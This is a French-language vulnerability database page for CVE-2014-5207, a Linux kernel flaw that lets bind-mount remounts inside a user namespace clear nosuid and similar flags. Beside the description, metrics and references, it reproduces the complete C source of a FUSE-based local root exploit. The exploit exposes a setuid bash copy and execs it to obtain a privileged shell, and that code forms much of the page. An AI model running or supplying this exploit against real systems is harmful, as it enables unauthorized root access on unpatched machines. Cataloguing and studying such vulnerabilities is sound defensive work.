CVE-2014-5207 : Détail

CVE-2014-5207

Improper Privilege Management
A04-Insecure Design
0.08%V3
Local
2014-08-18
08h00 +00:00
2017-09-07
13h57 +00:00
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Descriptions du CVE

fs/namespace.c in the Linux kernel through 3.16.1 does not properly restrict clearing MNT_NODEV, MNT_NOSUID, and MNT_NOEXEC and changing MNT_ATIME_MASK during a remount of a bind mount, which allows local users to gain privileges, interfere with backups and auditing on systems that had atime enabled, or cause a denial of service (excessive filesystem updating) on systems that had atime disabled via a "mount -o remount" command within a user namespace.

Informations du CVE

Faiblesses connexes

CWE-ID Nom de la faiblesse Source
CWE-269 Improper Privilege Management
The product does not properly assign, modify, track, or check privileges for an actor, creating an unintended sphere of control for that actor.

Métriques

Métriques Score Gravité CVSS Vecteur Source
V2 6.2 AV:L/AC:H/Au:N/C:C/I:C/A:C [email protected]

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

Informations sur l'Exploit

Exploit Database EDB-ID : 34923

Date de publication : 2014-10-08 22h00 +00:00
Auteur : Andy Lutomirski
EDB Vérifié : No

/* FUSE-based exploit for CVE-2014-5207 Copyright (c) 2014 Andy Lutomirski Based on code that is: Copyright (C) 2001-2007 Miklos Szeredi <[email protected]> This program can be distributed under the terms of the GNU GPL. See the file COPYING. gcc -Wall fuse_suid.c `pkg-config fuse --cflags --libs` -o fuse_suid mkdir test ./fuse_suid test This isn't a work of art: it doesn't clean up after itself very well. */ #define _GNU_SOURCE #define FUSE_USE_VERSION 26 #include <fuse.h> #include <stdio.h> #include <string.h> #include <errno.h> #include <fcntl.h> #include <err.h> #include <sched.h> #include <stdlib.h> #include <sys/types.h> #include <sys/wait.h> #include <sys/mount.h> #include <unistd.h> static const char *sh_path = "/sh"; static int sh_fd; static loff_t sh_size; static int hello_getattr(const char *path, struct stat *stbuf) { int res = 0; memset(stbuf, 0, sizeof(struct stat)); if (strcmp(path, "/") == 0) { stbuf->st_mode = S_IFDIR | 0755; stbuf->st_nlink = 2; } else if (strcmp(path, sh_path) == 0) { stbuf->st_mode = S_IFREG | 04755; stbuf->st_nlink = 1; stbuf->st_size = sh_size; } else res = -ENOENT; return res; } static int hello_readdir(const char *path, void *buf, fuse_fill_dir_t filler, off_t offset, struct fuse_file_info *fi) { (void) offset; (void) fi; if (strcmp(path, "/") != 0) return -ENOENT; filler(buf, ".", NULL, 0); filler(buf, "..", NULL, 0); filler(buf, sh_path + 1, NULL, 0); return 0; } static int hello_open(const char *path, struct fuse_file_info *fi) { if (strcmp(path, sh_path) != 0) return -ENOENT; if ((fi->flags & 3) != O_RDONLY) return -EACCES; return 0; } static int hello_read(const char *path, char *buf, size_t size, off_t offset, struct fuse_file_info *fi) { (void) fi; if (strcmp(path, sh_path) != 0) return -ENOENT; return pread(sh_fd, buf, size, offset); } static struct fuse_operations hello_oper = { .getattr = hello_getattr, .readdir = hello_readdir, .open = hello_open, .read = hello_read, }; static int evilfd = -1; static int child2(void *mnt_void) { const char *mountpoint = mnt_void; int fd2; if (unshare(CLONE_NEWUSER | CLONE_NEWNS) != 0) err(1, "unshare"); if (mount(mountpoint, mountpoint, NULL, MS_REMOUNT | MS_BIND, NULL) < 0) err(1, "mount"); fd2 = open(mountpoint, O_RDONLY | O_DIRECTORY); if (fd2 == -1) err(1, "open"); if (dup3(fd2, evilfd, O_CLOEXEC) == -1) err(1, "dup3"); close(fd2); printf("Mount hackery seems to have worked.\n"); exit(0); } static int child1(const char *mountpoint) { char child2stack[2048]; char evil_path[1024]; evilfd = dup(0); if (evilfd == -1) err(1, "dup"); if (clone(child2, child2stack, CLONE_FILES | CLONE_VFORK, (void *)mountpoint) == -1) err(1, "clone"); printf("Here goes...\n"); sprintf(evil_path, "/proc/self/fd/%d/sh", evilfd); execl(evil_path, "sh", "-p", NULL); perror(evil_path); return 1; } static int fuse_main_suid(int argc, char *argv[], const struct fuse_operations *op, void *user_data) { struct fuse *fuse; char *mountpoint; int multithreaded; int res; if (argc != 2) { printf("Usage: fuse_suid <mountpoint>\n"); return -EINVAL; } char *args[] = {"fuse_suid", "-f", "--", argv[1], NULL}; fuse = fuse_setup(sizeof(args)/sizeof(args[0]) - 1, args, op, sizeof(*op), &mountpoint, &multithreaded, user_data); if (fuse == NULL) return 1; printf("FUSE initialized. Time to have some fun...\n"); printf("Warning: this exploit hangs on exit. Hit Ctrl-C when done.\n"); if (fork() == 0) _exit(child1(mountpoint)); if (multithreaded) res = fuse_loop_mt(fuse); else res = fuse_loop(fuse); fuse_teardown(fuse, mountpoint); if (res == -1) return 1; return 0; } int main(int argc, char *argv[]) { sh_fd = open("/bin/bash", O_RDONLY); if (sh_fd == -1) err(1, "sh"); sh_size = lseek(sh_fd, 0, SEEK_END); return fuse_main_suid(argc, argv, &hello_oper, NULL); }

Products Mentioned

Configuraton 0

Linux>>Linux_kernel >> Version To (including) 3.16.1

Configuraton 0

Canonical>>Ubuntu_linux >> Version 12.04

Canonical>>Ubuntu_linux >> Version 14.04

Références

http://www.securityfocus.com/bid/69216
Tags : vdb-entry, x_refsource_BID
http://seclists.org/oss-sec/2014/q3/352
Tags : mailing-list, x_refsource_MLIST
http://www.ubuntu.com/usn/USN-2318-1
Tags : vendor-advisory, x_refsource_UBUNTU
http://osvdb.org/show/osvdb/110055
Tags : vdb-entry, x_refsource_OSVDB
http://www.exploit-db.com/exploits/34923
Tags : exploit, x_refsource_EXPLOIT-DB
http://www.openwall.com/lists/oss-security/2014/08/13/4
Tags : mailing-list, x_refsource_MLIST
http://www.ubuntu.com/usn/USN-2317-1
Tags : vendor-advisory, x_refsource_UBUNTU